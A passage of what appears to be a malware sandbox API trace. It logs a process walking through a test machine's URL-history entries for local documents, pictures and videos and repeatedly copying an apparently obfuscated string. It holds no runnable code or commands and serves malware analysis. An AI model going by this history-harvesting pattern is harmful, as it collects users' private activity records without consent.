6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.960] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/QXWTW5henjq45siD.xlsx") returned 65 [0056.960] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/QXWTW5henjq45siD.xlsx") returned 65 [0056.960] CoTaskMemFree (pv=0x2e90a8) [0056.960] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.960] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/4cCVdCfRqm2PKclZuyd.jpg", lpSrch="?") returned 0x0 [0056.960] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.960] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fd3e0 [0056.960] lstrcpyA (in: lpString1=0x2fd3e0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.960] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/4cCVdCfRqm2PKclZuyd.jpg") returned 66 [0056.960] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/4cCVdCfRqm2PKclZuyd.jpg") returned 66 [0056.961] CoTaskMemFree (pv=0x2e91c8) [0056.961] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.961] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/dlOBfm9.ots", lpSrch="?") returned 0x0 [0056.961] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.961] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc580 [0056.961] lstrcpyA (in: lpString1=0x2fc580, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.961] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/dlOBfm9.ots") returned 86 [0056.961] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/dlOBfm9.ots") returned 86 [0056.961] CoTaskMemFree (pv=0x2fc4c8) [0056.961] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.961] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/DK-E.xlsx", lpSrch="?") returned 0x0 [0056.961] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.961] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.961] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.961] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/DK-E.xlsx") returned 115 [0056.961] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/DK-E.xlsx") returned 115 [0056.962] CoTaskMemFree (pv=0x2fc080) [0056.962] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.962] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/zpoDQviNc.swf", lpSrch="?") returned 0x0 [0056.962] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.962] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.962] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.962] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/zpoDQviNc.swf") returned 54 [0056.962] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/zpoDQviNc.swf") returned 54 [0056.962] CoTaskMemFree (pv=0x2f6e80) [0056.962] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.962] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/WpVXOp1gVu2uzYqx.bmp", lpSrch="?") returned 0x0 [0056.962] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.962] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.962] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.962] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/WpVXOp1gVu2uzYqx.bmp") returned 96 [0056.962] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/WpVXOp1gVu2uzYqx.bmp") returned 96 [0056.962] CoTaskMemFree (pv=0x2d52b8) [0056.962] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.963] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/Xv0i4/PtkBw.mkv", lpSrch="?") returned 0x0 [0056.963] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.963] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.963] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.963] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/Xv0i4/PtkBw.mkv") returned 95 [0056.963] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/Xv0i4/PtkBw.mkv") returned 95 [0056.963] CoTaskMemFree (pv=0x2d0e68) [0056.963] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.963] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/JMv9vu9eMGinA7raPk.mkv", lpSrch="?") returned 0x0 [0056.963] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.963] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.963] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.963] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/JMv9vu9eMGinA7raPk.mkv") returned 64 [0056.963] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/JMv9vu9eMGinA7raPk.mkv") returned 64 [0056.963] CoTaskMemFree (pv=0x2e91c8) [0056.963] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.964] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/NAaJLKWJUQRz.xlsx", lpSrch="?") returned 0x0 [0056.964] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.964] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.964] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.964] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/NAaJLKWJUQRz.xlsx") returned 61 [0056.964] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/NAaJLKWJUQRz.xlsx") returned 61 [0056.964] CoTaskMemFree (pv=0x2f55f0) [0056.964] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.964] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/qdx%20f.doc", lpSrch="?") returned 0x0 [0056.964] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.964] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.964] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.964] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/qdx%20f.doc") returned 63 [0056.964] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/9FO7CXk4r/qdx%20f.doc") returned 63 [0056.964] CoTaskMemFree (pv=0x2f5788) [0056.964] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.964] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/ladBL2_ACMH3.png", lpSrch="?") returned 0x0 [0056.964] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.964] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.964] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.964] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/ladBL2_ACMH3.png") returned 59 [0056.964] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/ladBL2_ACMH3.png") returned 59 [0056.965] CoTaskMemFree (pv=0x2eaf38) [0056.965] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.965] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/T-Pct0XA.jpg", lpSrch="?") returned 0x0 [0056.965] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.965] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.965] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.965] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/T-Pct0XA.jpg") returned 55 [0056.965] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/T-Pct0XA.jpg") returned 55 [0056.965] CoTaskMemFree (pv=0x2f7420) [0056.965] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.965] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/ZkDQnd37h.bmp", lpSrch="?") returned 0x0 [0056.965] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.965] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.965] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.965] lstrlenW 